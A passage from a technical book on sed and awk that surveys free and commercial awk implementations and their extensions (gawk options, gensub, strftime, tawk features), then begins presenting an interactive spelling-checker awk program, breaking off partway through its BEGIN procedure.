The /dev/stdin, /dev/stdout, and /dev/stderr special files originated in V8 UNIX. Gawk was the first to build in special recognition of these files, followed by mawk and the Bell Labs awk.

A printerr() function

Error messages inform users about problems often related to missing or incorrect input. You can simply inform the user with a print statement. However, if the output of the program is redirected to a file, the user won't see it. Therefore, it is good practice to specify explicitly that the error message be sent to the terminal.

The following printerr() function helps to create consistent user error messages. It prints the word "ERROR" followed by a supplied message, the record number, and the current record. The following example directs output to /dev/tty:

function printerr (message) {
    # print message, record number and record
    printf("ERROR:%s (%d) %s\n", message, NR, $0) > "/dev/tty"
}

If the output of the program is sent to the terminal screen, then error messages will be mixed in with the output. Outputting "ERROR" will help the user recognize error messages.

In UNIX, the standard destination for error messages is standard error. The rationale for writing to standard error is the same as above. To write to standard error explicitly, you must use the convoluted syntax "cat 1>&2" as in the following example:

print "ERROR" | "cat 1>&2"

This directs the output of the print statement to a pipe which executes the cat command. You can also use the system() function to execute a UNIX command such as cat or echo and direct its output to standard error.

When the special file /dev/stderr is available, this gets much simpler:

print "ERROR" > "/dev/stderr"  # recent awks only

11.2.1.5 The nextfile statement

The nextfile statement is similar to next, but it operates at a higher level. When nextfile is executed, the current data file is abandoned, and processing starts over at the top of the script, using the first record of the following file. This is useful when you know that you only need to process part of a file; there's no need to then set up a loop to skip records using next.

The nextfile statement originated in gawk, and then was added to the Bell Labs awk. It will be available in mawk, starting with version 1.4.

11.2.1.6 Regular expression record separators (gawk and mawk)

Gawk and mawk allow RS to be a full regular expression, not just a single character. In that case, the records are separated by the longest text in the input that matches the regular expression. Gawk also sets RT (the record terminator) to the actual input text that matched RS. An example of this is given below.

The ability to have RS be a regular expression first appeared in mawk, and was later added to gawk.

11.2.2 Bell Labs awk

The Bell Labs awk is, of course, the direct descendant of the original V7 awk, and of the "new" awk that first became avaliable with System V Release 3.1. Source code is freely available via anonymous FTP to the host netlib.bell-labs.com. It is in the file /netlib/research/awk.bundle.Z. This is a compressed shell archive file. Be sure to use "binary," or "image" mode to transfer the file. This version of awk requires an ANSI C compiler.

There have been several distinct versions; we will identify them here according to the year they became available.

The first version of new awk became available in late 1987. It had almost everything we've described in the previous four chapters (although there are footnotes that indicate those things that are not available). This version is still in use on SunOS 4.1.x systems and some System V Release 3 UNIX systems.

In 1989, for System V Release 4, several new things were added. The only difference between this version and POSIX awk is that POSIX uses CONVFMT for number-to-string conversions, while the 1989 version still used OFMT. The new features were:

  • Escape characters in command-line assignments were now interpreted.

  • The tolower() and toupper() functions were added.

  • printf was improved: dynamic width and precision were added, and the behavior for "%c" was rationalized.

  • The return value from the srand() function was defined to be the previous seed. (The awk book didn't state what srand() returned.)

  • It became possible to use regular expressions as simple expressions. For example:

    if (/cute/ || /sweet/)
    print "potential here!"

  • The -v option was added to allow setting variables on the command line before execution of the BEGIN procedure.

  • Multiple -f options could now be used to have multiple source files. (This originated in MKS awk, was adopted by gawk, and then added to the Bell Labs awk.)

  • The ENVIRON array was added. (This was developed independently for both MKS awk and gawk, and then added to the Bell Labs awk.)

In 1993, Brian Kernighan of Bell Labs was able to release the source code to his awk. At this point, CONVFMT became available, and the fflush() function, described above, was added. A bug-fix release was made in August of 1994.

In June of 1996, Brian Kernighan made another release. It can be retrieved either from the FTP site given above, or via a World Wide Web browser from Dr. Kernighan's Web page (http://cm.bell-labs.com/who/bwk), which refers to this version as "the one true awk." :-) This version adds several features that originated in gawk and mawk, described earlier in this chapter in the "Common Extensions" section.

11.2.3 GNU awk (gawk)

The Free Software Foundation GNU project's version of awk, gawk, implements all the features of the POSIX awk, and many more. It is perhaps the most popular of the freely available implementations; gawk is used on Linux systems, as well as various other freely available UNIX-like systems, such as NetBSD and FreeBSD.

Source code for gawk is available via anonymous FTP[4] to the host ftp.gnu.ai.mit.edu. It is in the file /pub/gnu/gawk-3.0.3.tar.gz (there may be a later version there by the time you read this). This is a tar file compressed with the gzip program, whose source code is available in the same directory. There are many sites worldwide that "mirror" the files from the main GNU distribution site; if you know of one close to you, you should get the files from there. Be sure to use "binary" or "image" mode to transfer the file(s).

[4] If you don't have Internet access and wish to get a copy of gawk, contact the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 U.S.A. The telephone number is 617-542-5942, and the fax number is 617-542-2652.

Besides the common extensions listed earlier, gawk has a number of additional features. We examine them in this section.

11.2.3.1 Command line options

Gawk has several very useful command-line options. Like most GNU programs, these options are spelled out and begin with two dashes, "--".

  • --lint and --lint-old cause gawk to check your program, both at parse-time and at run-time, for constructs that are dubious or nonportable to other versions of awk. The --lint-old option warns about function calls that are not portable to the original version of awk. It is separate from --lint, since most systems now have some version of new awk.

  • --traditional disables GNU-specific extensions, such as the time functions and gensub() (see below). With this option, gawk is intended to behave the same as the Bell Labs awk.

  • --re-interval enables full POSIX regular expression matching, by allowing gawk to recognize interval expressions (such as "/stuff{1,3}/").

  • --posix disables all extensions that are not specified in the POSIX standard. This option also turns on recognition of interval expressions.

There are a number of other options that are less important for everyday programming and script portability; see the gawk documentation for details.

Although POSIX awk allows you to have multiple instances of the -f option, there is no easy way to use library functions from a command-line program. The --source option in gawk makes this possible.

gawk --source 'script' -f mylibs.awk file1 file2

This example runs the program in script, which can use awk functions from the file mylibs.awk. The input data comes from file1 and file2.

11.2.3.2 An awk program search path

Gawk allows you to specify an environment variable named AWKPATH that defines a search path for awk program files. By default, it is defined to be .:/usr/local/share/awk. Thus, when a filename is specified with the -f option, the two default directories will be searched, beginning with the current directory. Note that if the filename contains a "/", then no search is performed.

For example, if mylibs.awk was a file of awk functions in /usr/local/share/awk, and myprog.awk was a program in the current directory, we run gawk like this:

gawk -f myprog.awk -f mylibs.awk datafile1

Gawk would find each file in the appropriate place. This makes it much easier to have and use awk library functions.

11.2.3.3 Line continuation

Gawk allows you to break lines after either a "?" or ":". You can also continue strings across newlines using a backslash.

$ gawk 'BEGIN { print "hello, \
> world" }'
hello, world

11.2.3.4 Extended regular expressions

Gawk provides several additional regular expression operators. These are common to most GNU programs that work with regular expressions. The extended operators are listed in Table 11.5.

Table 11.5: Gawk Extended Regular Expressions
Special Operators | Usage
\w | Matches any word-constituent character (a letter, digit, or underscore).
\W | Matches any character that is not word-constituent.
\< | Matches the empty string at the beginning of a word.
\> | Matches the empty string at the end of a word.
\y | Matches the empty string at either the beginning or end of a word (the word boundary). Other GNU software uses "\b", but that was already taken.
\B | Matches the empty string within a word.
\` | Matches the empty string at the beginning of a buffer. This is the same as a string in awk, and thus is the same as ^. It is provided for compatibility with GNU Emacs and other GNU software.
\' | Matches the empty string at the end of a buffer. This is the same as a string in awk, and thus is the same as $. It is provided for compatibility with GNU Emacs and other GNU software.

You can think of "\w" as a shorthand for the (POSIX) notation [[:alnum:]_] and "\W" as a shorthand for [^[:alnum:]_]. The following table gives examples of what the middle four operators match, borrowed from Effective AWK Programming.

Table 11.6: Examples of gawk Extended Regular Expression Operators
Expression | Matches | Does Not Match
\<away | away | stowaway
stow\> | stow | stowaway
\yballs?\y | ball or balls | ballroom or baseball
\Brat\B | crate | dirty rat

11.2.3.5 Regular expression record terminators

Besides allowing RS to be a regular expression, gawk sets the variable RT (record terminator) to the actual input text that matched the value of RS.

Here is a simple example, due to Michael Brennan, that shows the power of gawk's RS and RT variables. As we have seen, one of the most common uses of sed is its substitute command (s/old/new/g). By setting RS to the pattern to match, and ORS to the replacement text, a simple print statement can print the unchanged text followed by the replacement text.

$ cat simplesed.awk
# simplesed.awk --- do s/old/new/g using just print
#    Thanks to Michael Brennan for the idea
#
# NOTE! RS and ORS must be set on the command line
{
    if (RT == "")
        printf "%s", $0
    else
        print
}

There is one wrinkle; at end of file, RT will be empty, so we use a printf statement to print the record.[5] We could run the program like this.

[5] See Effective AWK Programming [Robbins], Section 16.2.8, for an elaborate version of this program.

$ cat simplesed.data
"This OLD house" is a great show.
I like shopping for old things at garage sales.
$ gawk -f simplesed.awk RS="old|OLD" ORS="brand new" simplesed.data
"This brand new house" is a great show.
I like shopping for brand new things at garage sales.

11.2.3.6 Separating fields

Besides the regular way that awk lets you split the input into records and the record into fields, gawk gives you some additional capabilities.

First, as mentioned above, if the value of FS is the empty string, then each character of the input record becomes a separate field.

Second, the special variable FIELDWIDTHS can be used to split out data that occurs in fixed-width columns. Such data may or may not have whitespace separating the values of the fields.

FIELDWIDTHS = "5 6 8 3"

Here, the record has four fields: $1 is five characters wide, $2 is six characters wide, and so on. Assigning a value to FIELDWIDTHS causes gawk to start using it for field splitting. Assigning a value to FS causes gawk to return to the regular field splitting mechanism. Use FS = FS to make this happen without having to save the value of FS in an extra variable.

This facility would be of most use when working with fixed-width field data, where there may not be any whitespace separating fields, or when intermediate fields may be all blank.

11.2.3.7 Additional special files

Gawk has a number of additional special filenames that it interprets internally. All of the special filenames are listed in Table 11.7.

Table 11.7: Gawk's Special Filenames
Filename | Description
/dev/stdin | Standard input.
/dev/stdout | Standard output.
/dev/stderr | Standard error.
/dev/fd/n | The file referenced as file descriptor n.
Obsolete Filename | Description
/dev/pid | Returns a record containing the process ID number.
/dev/ppid | Returns a record containing the parent process ID number.
/dev/pgrpid | Returns a record containing the process group ID number.
/dev/user | Returns a record with the real and effective user IDs, the real and effective group IDs, and if available, any secondary group IDs.

The first three were described earlier. The fourth filename provides access to any open file descriptor that may have been inherited from gawk's parent process (usually the shell). You can use file descriptor 0 for standard input, 1 for standard output, and 2 for standard error.

The second group of special files, labeled "obsolete," have been in gawk for a while, but are being phased out. They will be replaced by a PROCINFO array, whose subscipts are the desired item and whose element value is the associated value.

For example, you would use PROCINFO["pid"] to get the current process ID, instead of using getline pid < "/dev/pid". Check the gawk documentation to see if PROCINFO is available and if these filenames are still supported.

11.2.3.8 Additional variables

Gawk has several more system variables. They are listed in Table 11.8.

Table 11.8: Additional gawk System Variables
Variable | Description
ARGIND | The index in ARGV of the current input file.
ERRNO | A message describing the error if getline or close() fail.
FIELDWIDTHS | A space-separated list of numbers describing the widths of the input fields.
IGNORECASE | If non-zero, pattern matches and string comparisons are case-independent.
RT | The value of the input text that matched RS.

We have already seen the record terminator variable, RT, so we'll proceed to the other variables that we haven't covered yet.

All pattern matching and string comparison in awk is case sensitive. Gawk introduced the IGNORECASE variable so that you can specify that regular expressions be interpreted without regard for upper- or lowercase characters. Beginning with version 3.0 of gawk, string comparisons can also be done without case sensitivity.

The default value of IGNORECASE is zero, which means that pattern matching and string comparison are performed the same as in traditional awk. If IGNORECASE is set to a non-zero value, then case distinctions are ignored. This applies to all places where regular expressions are used, including the field separator FS, the record separator RS, and all string comparisons. It does not apply to array subscripting.

Two more gawk variables are of interest. ARGIND is set automatically by gawk to be the index in ARGV of the current input file name. This variable gives you a way to track how far along you are in the list of filenames.

Finally, if an error occurs doing a redirection for getline or during a close(), gawk sets ERRNO to a string describing the error. This makes it possible to provide descriptive error messages when something goes wrong.

11.2.3.9 Additional functions

Gawk has one additional string function, and two functions for dealing with the current date and time. They are listed in Table 11.9.

Table 11.9: Additional gawk Functions
Gawk Function | Description
gensub(r, s, h, t) | If h is a string starting with g or G, globally substitutes s for r in t. Otherwise, h is a number: substitutes for the h'th occurrence. Returns the new value, t is unchanged. If t is not supplied, defaults to $0.
systime() | Returns the current time of day in seconds since the Epoch (00:00 a.m., January 1, 1970 UTC).
strftime(format, timestamp) | Formats timestamp (of the same form returned by systime()) according to format. If no timestamp, use current time. If no format either, use a default format whose output is similar to the date command.

11.2.3.10 A general substitution function

The 3.0 version of gawk introduced a new general substitution function, named gensub(). The sub() and gsub() functions have some problems.

  • You can change either the first occurrence of a pattern or all the occurrences of a pattern. There is no way to change, say, only the third occurrence of a pattern but not the ones before it or after it.

  • Both sub() and gsub() change the actual target string, which may be undesirable.

  • It is impossible to get sub() and gsub() to emit a literal backslash followed by the matched text, because an ampersand preceded by a backslash is never replaced.[6]

    [6] A full discussion is given in Effective AWK Programming [Robbins], Section 12.3. The details are not for the faint of heart.

  • There is no way to get at parts of the matched text, analogous to the \(...\) construct in sed.

For all these reasons, gawk introduced the gensub() function. The function takes at least three arguments. The first is a regular expression to search for. The second is the replacement string. The third is a flag that controls how many substitutions should be performed. The fourth argument, if present, is the original string to change. If it is not provided, the current input record ($0) is used.

The pattern can have subpatterns delimited by parentheses. For example, it can have "/(part) (one|two|three)/". Within the replacement string, a backslash followed by a digit represents the text that matched the nth subpattern.

$ echo part two | gawk '{ print gensub(/(part) (one|two|three)/, "\\2", "g") }'
two

The flag is either a string beginning with g or G, in which case the substitution happens globally, or it is a number indicating that the nth occurrence should be replaced.

$ echo a b c a b c a b c | gawk '{ print gensub(/a/, "AA", 2) }'
a b c AA b c a b c

The fourth argument is the string in which to make the change. Unlike sub() and gsub(), the target string is not changed. Instead, the new string is the return value from gensub().

$ gawk '
BEGIN { old = "hello, world"
        new = gensub(/hello/, "goodbye", 1, old)
        printf("<%s>, <%s>\n", old, new)
}'
<hello, world>, <goodbye, world>

11.2.3.11 Time management for programmers

Awk programs are very often used for processing the log files produced by various programs. Often, each record in a log file contains a timestamp, indicating when the record was produced. For both conciseness and precision, the timestamp is written as the result of the UNIX time(2) system call, which is the number of seconds since midnight, January 1, 1970 UTC. (This date is often referred to as "the Epoch.") To make it easier to generate and process log file records with these kinds of timestamps in them, gawk has two functions, systime() and strftime().

The systime() function is primarily intended for generating timestamps to go into log records. Suppose, for example, that we use an awk script to respond to CGI queries to our WWW server. We might log each query to a log file.

{
...
printf("%s:%s:%d\n", User, Host, systime()) >> "/var/log/cgi/querylog"
...
}

Such a record might look like

arnold:some.domain.com:831322007

The strftime() function[7] makes it easy to turn timestamps into human-readable dates. The format string is similar to the one used by sprintf(); it consists of literal text mixed with format specifications for different components of date and time.

[7] This function is patterned after the function of the same name in ANSI C.

$ gawk 'BEGIN { print strftime("Today is %A, %B %d, %Y") }'
Today is Sunday, May 05, 1996

The list of available formats is quite long. See your local strftime(3) manpage, and the gawk documentation for the full list. Our hypothetical CGI log file might be processed by this program:

# cgiformat --- process CGI logs
# data format is user:host:timestamp
#1
BEGIN {	FS = ":"; SUBSEP = "@" }

#2
{
# make data more obvious
    user = $1; host = $2; time = $3
# store first contact by this user
    if (! ((user, host) in first))
        first[user, host] = time
# count contacts
    count[user, host]++
# save last contact
    last[user, host] = time
}

#3
END {
# print the results
    for (contact in count) {
        i = strftime("%y-%m-%d %H:%M", first[contact])
        j = strftime("%y-%m-%d %H:%M", last[contact])
        printf "%s -> %d times between %s and %s\n",
            contact, count[contact], i, j
    }
}

The first step is to set FS to ":" to split the field correctly. We also use a neat trick and set the subscript separator to "@", so that the arrays become indexed by "user@host" strings.

In the second step, we look to see if this is the first time we've seen this user. If so (they're not in the first array), we add them. Then we increment the count of how many times they've connected. Finally we store this record's timestamp in the last array. This element keeps getting overwritten each time we see a new connection by the user. That's OK; what we will end up with is the last (most recent) connection stored in the array.

The END procedure formats the data for us. It loops through the count array, formatting the timestamps in the first and last arrays for printing. Consider a log file with the following records in it.

$ cat /var/log/cgi/querylog
arnold:some.domain.com:831322007
mary:another.domain.org:831312546
arnold:some.domain.com:831327215
mary:another.domain.org:831346231
arnold:some.domain.com:831324598

Here's what running the program produces:

$ gawk -f cgiformat.awk /var/log/cgi/querylog
mary@another.domain.org -> 2 times between 96-05-05 12:09 and 96-05-05 21:30
arnold@some.domain.com -> 3 times between 96-05-05 14:46 and 96-05-05 15:29

11.2.4 Michael's awk (mawk)

The third freely available awk is mawk, written by Michael Brennan. This program is upwardly compatible with POSIX awk, and has a few extensions as well. It is solid and performs very well. Source code for mawk is freely available via anonymous FTP from ftp.whidbey.net. It is in /pub/brennan/mawk1.3.3.tar.gz. (There may be a later version there by the time you read this.) This is also a tar file compressed with the gzip program. Be sure to use "binary," or "image" mode to transfer the file.

Mawk's primary advantages are its speed and robustness. Although it has fewer features than gawk, it almost always outperforms it.[8] Besides UNIX systems, mawk also runs under MS-DOS.

[8] Gawk's advantages are that it has a larger feature set, it has been ported to more non-UNIX kinds of systems, and it comes with much more extensive documentation.

The common extensions described above are also available in mawk.

Previous: 11.1 Original awk | sed & awk | Next: 11.3 Commercial awks
11.1 Original awk | Book Index | 11.3 Commercial awks
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.3 Commercial awks

sed & awk

sed & awkSearch this book
Previous: 11.2 Freely Available awks Chapter 11
A Flock of awks 		Next: 11.4 Epilogue

11.3 Commercial awks

There are also several commercial versions of awk. In this section, we review the ones that we know about.

11.3.1 MKS awk

Mortice Kern Systems (MKS) in Waterloo, Ontario (Canada)[9] supplies awk as part of the MKS Toolkit for MS-DOS/Windows, OS/2, Windows 95, and Windows NT.

[9] Mortice Kern Systems, 185 Columbia Street West, Waterloo, Ontario N2L 5Z5, Canada. Phone: 1-800-265-2797 in North America, 1-519-884-2251 elsewhere. URL is http://www.mks.com/.

The MKS version implements POSIX awk. It has the following extensions:

  • The exp(), int(), log(), sqrt(), tolower(), and toupper() functions use $0 if given no argument.

  • An additional function ord() is available. This function takes a string argument, and returns the numeric value of the first character in the string. It is similar to the function of the same name in Pascal.

11.3.2 Thompson Automation awk (tawk)

Thompson Automation Software[10] makes a version of awk (tawk)[11] for MS-DOS/Windows, Windows 95 and NT, and Solaris. Tawk is interesting on several counts. First, unlike other versions of awk, which are interpreters, tawk is a compiler. Second, tawk comes with a screen-oriented debugger, written in awk! The source for the debugger is included. Third, tawk allows you to link your compiled program with arbitrary functions written in C. Tawk has received rave reviews in the comp.lang.awk newsgroup.

[10] Thompson Automation Software, 5616 SW Jefferson, Portland OR 97221 U.S.A. Phone: 1-800-944-0139 within the U.S., 1-503-224-1639 elsewhere.

[11] Michael Brennan, in the mawk(1) manpage, makes the following statement: "Implementors of the AWK language have shown a consistent lack of imagination when naming their programs."

Tawk comes with an awk interface that acts like POSIX awk, compiling and running your program. You can, however, compile your program into a standalone executable file. The tawk compiler actually compiles into a compact intermediate form. The intermediate representation is linked with a library that executes the program when it is run, and it is at link time that other C routines can be integrated with the awk program.

Tawk is a very full-featured implementation of awk. Besides implementing the features of POSIX awk (based on new awk), it extends the language in some fundamental ways, and also has a very large number of built-in functions.

11.3.2.1 Tawk language extensions

This section provides a "laundry list" of the new features in tawk. A full treatment of them is beyond the scope of this book; the tawk documentation does a nice job of presenting them. Hopefully, by now you should be familiar enough with awk that the value of these features will be apparent. Where relevant, we'll contrast the tawk feature with a comparable feature in gawk.

  • Additional special patterns, INIT, BEGINFILE, and ENDFILE. INIT is like BEGIN, but the actions in its procedure are run before[12] those of the BEGIN procedure. BEGINFILE and ENDFILE provide you the ability to have per-file start-up and clean-up actions. Unlike using a rule based on FNR == 1, these actions are executed even when files are empty.

    [12] I confess that I don't see the real usefulness of this. [A.R.]

  • Controlled regular expressions. You can add a flag to a regular expression ("/match me/") that tells tawk how to treat the regular expression. An i flag ("/match me/i") indicates that case should be ignored when doing matching. An s flag indicates that the shortest possible text should be matched, instead of the longest.

  • An abort [expr] statement. This is similar to exit, except that tawk exits immediately, bypassing any END procedure. The expr, if provided, becomes the return value from tawk to its parent program.

  • True multidimensional arrays. Conventional awk simulates multidimensional arrays by concatenating the values of the subscripts, separated by the value of SUBSEP, to generate a (hopefully) unique index in a regular associative array. While implementing this feature for compatibility, tawk also provides true multidimensional arrays.

    a[1][1] = "hello"
    a[1][2] = "world"
    for (i in a[1])
        print a[1][i]

    Multidimensional arrays guarantee that the indices will be unique, and also have the potential for greater performance when the number of elements gets to be very large.

  • Automatic sorting of arrays. When looping over every element of an array using the for (item in array) construct, tawk will first sort the indices of the array, so that array elements are processed in order. You can control whether this sorting is turned on or off, and if on, whether the sorting is numeric or alphabetic, and in ascending or descending order. While the sorting incurs a performance penalty, it is likely to be less than the overhead of sorting the array yourself using awk code, or piping the results into an external invocation of sort.

  • Scope control for functions and variables. You can declare that functions and variables are global to an entire program, global within a "module" (source file), local to a module, and local to a function. Regular awk only gives you global variables, global functions, and extra function parameters, which act as local variables. This feature is a very nice one, making it much easier to write libraries of awk functions without having to worry about variable names inadvertently conflicting with those in other library functions or in the user's main program.

  • RS can be a regular expression. This is similar to gawk and mawk; however, the regular expression cannot be one that requires more than one character of look-ahead. The text that matched RS is saved in the variable RSM (record separator match), similar to gawk's RT variable.

  • Describing fields, instead of the field separators. The variable FPAT can be a regular expression that describes the contents of the fields. Successive occurrences of text that matches FPAT become the contents of the fields.

  • Controlling the implicit file processing loop. The variable ARGI tracks the position in ARGV of the current input data file. Unlike gawk's ARGIND variable, assigning a value to ARGI can be used to make tawk skip over input data files.

  • Fixed-length records. By assigning a value to the RECLEN variable, you can make tawk read records in fixed-length chunks. If RS is not matched within RECLEN characters, then tawk returns a record that is RECLEN characters long.

  • Hexadecimal constants. You can specify C-style hexadecimal constants (0xDEAD and 0xBEEF being two rather famous ones) in tawk programs. This helps when using the built-in bit manipulation functions (see the next section).

Whew! That's a rather long list, but these features bring additional power to programming in awk.

11.3.2.2 Additional built-in tawk functions

Besides extending the language, tawk provides a large number of additional built-in functions. Here is another "laundry list," this time of the different classes of functions available. Each class has two or more functions associated with it. We'll briefly describe the functionality of each class.

  • Extended string functions. Extensions to the standard string functions and new string functions allow you to match and substitute for subpatterns within patterns (similar to gawk's gensub() function), assign to substrings within strings, and split a string into an array based on a pattern that matches elements, instead of the separator. There are additional printf formats, and string translation functions. While undoubtedly some of these functions could be written as user-defined functions, having them built in provides greater performance.

  • Bit manipulation functions. You can perform bitwise AND, OR, and XOR operations on (integer) values. These could also be written as user-defined functions, but with a loss of performance.

  • More I/O functions. There is a suite of functions modeled after those in the stdio(3) library. In particular, the ability to seek within a file, and do I/O in fixed-size amounts, is quite useful.

  • Directory operation functions. You can make, remove, and change directories, as well as remove and rename files.

  • File information functions. You can retrieve file permissions, size, and modification times.

  • Directory reading functions. You can get the current directory name, as well as read a list of all the filenames in a directory.

  • Time functions. There are functions to retrieve the current time of day, and format it in various ways. These functions are not quite as flexible as gawk's strftime() function.

  • Execution functions. You can sleep for a specific amount of time, and start other functions running. Tawk's spawn() function is interesting because it allows you to provide values for the new program's environment, and also indicate whether the program should or should not run asynchronously. This is particularly valuable on non-UNIX systems, where the command interpreters (such as MS-DOS's command.com) are quite limited.

  • File locking. You can lock and unlock files and ranges within files.

  • Screen functions. You can do screen-oriented I/O. Under UNIX, these functions are implemented on top of the curses(3) library.

  • Packing and unpacking of binary data. You can specify how binary data structures are laid out. This, together with the new I/O functions, makes it possible to do binary I/O, something you would normally have to do in C or C++.

  • Access to internal state. You can get or set the value of any awk variable through function calls.

  • Access to MS-DOS low-level facilities. You can use system interrupts, and peek and poke values at memory addresses. These features are obviously for experts only.

From this list, it becomes clear that tawk provides a nice alternative to C and to Perl for serious programming tasks. As an example, the screen functions and internal state functions are used to implement the tawk debugger in awk.

11.3.3 Videosoft VSAwk

Videosoft[13] sells software called VSAwk that brings awk-style programming into the Visual Basic environment. VSAwk is a Visual Basic control that works in an event driven fashion. Like awk, VSAwk gives you startup and cleanup actions, and splits the input record into fields, as well as the ability to write expressions and call the awk built-in functions.

[13] Videosoft can be reached at 2625 Alcatraz Avenue, Suite 271, Berkeley CA 94705 U.S.A. Phone: 1-510-704-8200. Fax: 1-510-843-0174. Their site is http://www.videosoft.com.

VSAwk resembles UNIX awk mostly in its data processing model, not its syntax. Nevertheless, it's interesting to see how people apply the concepts from awk to the environment provided by a very different language.

Previous: 11.2 Freely Available awks | sed & awk | Next: 11.4 Epilogue
11.2 Freely Available awks | Book Index | 11.4 Epilogue
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.4 Epilogue

sed & awk

sed & awkSearch this book
Previous: 11.3 Commercial awks Chapter 11
A Flock of awks 		Next: 12. Full-Featured Applications

11.4 Epilogue

Well, we've pretty thoroughly covered the ins and outs of programming in awk, both the standard language, and the extensions available in different implementations. As you work with awk, you'll come to find it an easy and pleasant language to program in, since it does almost all of the drudgery for you, allowing you to concentrate on the actual problem to be solved.

Previous: 11.3 Commercial awks | sed & awk | Next: 12. Full-Featured Applications
11.3 Commercial awks | Book Index | 12. Full-Featured Applications
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] Full-Featured Applications

sed & awk

sed & awkSearch this book
Previous: 11.4 Epilogue Chapter 12 Next: 12.2 Generating a Formatted Index

12. Full-Featured Applications

Contents:
An Interactive Spelling Checker
Generating a Formatted Index
Spare Details of the masterindex Program

This chapter presents two complex applications that integrate most features of the awk programming language. The first program, spellcheck, provides an interactive interface to the UNIX spell program. The second application, masterindex, is a batch program for generating an index for a book or a set of books. Even if you are not interested in the particular application, you should study these larger programs to get a feel for the scope of the problems that an awk program can solve.

12.1 An Interactive Spelling Checker

The UNIX spell program does an adequate job of catching spelling errors in a document. For most people, however, it only does half the job. It doesn't help you correct the misspelled words. First-time users of spell find themselves jotting down the misspelled words and then using the text editor to change the document. More skilled users build a sed script to make the changes automatically.

The spellcheck program offers another way - it shows you each word that spell has found and asks if you want to correct the word. You can change each occurrence of the word after seeing the line on which it occurs, or you can correct the spelling error globally. You can also choose to add any word that spell turns up to a local dictionary file.

Before describing the program, let's have a demonstration of how it works. The user enters spellcheck, a shell script that invokes awk, and the name of the document file.

$ spellcheck ch00
Use local dict file? (y/n)y

If a dictionary file is not specified on the command line, and a file named dict exists in the current directory, then the user is asked if the local dictionary should be used. spellcheck then runs spell using the local dictionary.

Running spell checker ...

Using the list of "misspelled" words turned up by spell, spellcheck prompts the user to correct them. Before the first word is displayed, a list of responses is shown that describes what actions are possible.

Responses:
    Change each occurrence,
    Global change,
    Add to Dict,
    Help,
    Quit
    CR to ignore:
1 - Found SparcStation (C/G/A/H/Q/):a

The first word found by spell is "SparcStation." A response of "a" (followed by a carriage return) adds this word to a list that will be used to update the dictionary. The second word is clearly a misspelling and a response of "g" is entered to make the change globally:

2 - Found languauge (C/G/A/H/Q/):g
Globally change to:language
Globally change languauge to language? (y/n):y
> and a full description of its scripting language.
1 lines changed. Save changes? (y/n)y

After prompting the user to enter the correct spelling and confirming the entry, the change is made and each line affected is displayed, preceded by a ">". The user is then asked to approve these changes before they are saved. The third word is also added to the dictionary:

3 - Found nawk (C/G/A/H/Q/):a

The fourth word is a misspelling of "utilities."

4 - Found utlitities (C/G/A/H/Q/):c
These utlitities have many things in common, including
      ^^^^^^^^^^
Change to:utilities
Change utlitities to utilities? (y/n):y
Two other utlitities that are found on the UNIX system
          ^^^^^^^^^^
Change utlitities to utilities? (y/n):y
>These utilities have many things in common, including
>Two other utilities that are found on the UNIX system
2 lines changed. Save changes? (y/n)y

The user enters "c" to change each occurrence. This response allows the user to see the line containing the misspelling and then make the change. After the user has made each change, the changed lines are displayed and the user is asked to confirm saving the changes.

It is unclear whether the fifth word is a misspelling or not, so the user enters "c" to view the line.

5 - Found xvf (C/G/A/H/Q/):c
tar xvf filename
    ^^^
Change to:RETURN

After determining that it is not a misspelling, the user enters a carriage return to ignore the word. Generally, spell turns up a lot of words that are not misspellings so a carriage return means to ignore the word.

After all the words in the list have been processed, or if the user quits before then, the user is prompted to save the changes made to the document and the dictionary.

Save corrections in ch00 (y/n)? y
Make changes to dictionary (y/n)? y

If the user answers "n," the original file and the dictionary are left unchanged.

Now let's look at the spellcheck.awk script, which can be divided into four sections:

  • The BEGIN procedure, that processes the command-line arguments and executes the spell command to create a word list.

  • The main procedure, that reads one word at a time from the list and prompts the user to make a correction.

  • The END procedure, that saves the working copy of the file, overwriting the original. It also appends words from the exception list to the current dictionary.

  • Supporting functions, that are called to make changes in the file.

We will look at each of these sections of the program.

12.1.1 BEGIN Procedure

The BEGIN procedure for spellcheck.awk is large. It is also somewhat unusual.

# spellcheck.awk -- interactive spell checker
#
# AUTHOR: Dale Dougherty
#
# Usage: nawk -f spellcheck.awk [+dict] file
# (Use spellcheck as name of shell program)
# SPELLDICT = "dict"
# SPELLFILE = "file"

# BEGIN actions perform the following tasks:
#	1) process command-line arguments
#	2) create temporary filenames
#	3) execute spell program to create wordlist file
#	4) display list of user responses

BEGIN {
# Process command-line arguments
# Must be at least two args -- nawk and filename
    if (ARGC > 1) {
    # if more than two args, second arg is dict
        if (ARGC > 2) {
        # test to see if dict is specified with "+"
        # and assign ARGV[1] to SPELLDICT
            if (ARGV[1] ~ /^\+.*/)
                SPELLDICT = ARGV[1]
            else
                SPELLDICT = "+" ARGV[1]
        # assign file ARGV[2] to SPELLFILE
            SPELLFILE = ARGV[2]
        # delete args so awk does not open them as files
            delete ARGV[1]
            delete ARGV[2]
        }
    # not more than two args
        else {
        # assign file ARGV[1] to SPELLFILE
            SPELLFILE = ARGV[1]
        # test to see if local dict file exists
            if (! system ("test -r dict")) {
            # if it does, ask if we should use it
                printf ("Use local dict file? (y/n)")
                getline reply < "-"
            # if reply is yes, use "dict"
                if (reply ~ /[yY](es)?/){
                    SPELLDICT = "+dict"
                }
            }
        }
    } # end of processing args > 1
    # if args not > 1, then print shell-command usage
    else {
        print "Usage: spellcheck [+dict] file"
        exit 1
    }
# end of processing command line arguments
# create temporary file names, each begin with sp_
    wordlist = "sp_wordlist"
    spellsource = "sp_input"
    spellout = "sp_out"

# copy SPELLFILE to temporary input file
    system("cp " SPELLFILE " " spellsource)

# now run spell program; output sent to wordlist
    print "Running spell checker ..."
    if (SPELLDICT)
        SPELLCMD = "spell " SPELLDICT " "
    else
        SPELLCMD = "spell "
    system(SPELLCMD spellsource " > " wordlist )

# test wordlist to see if misspelled words turned up
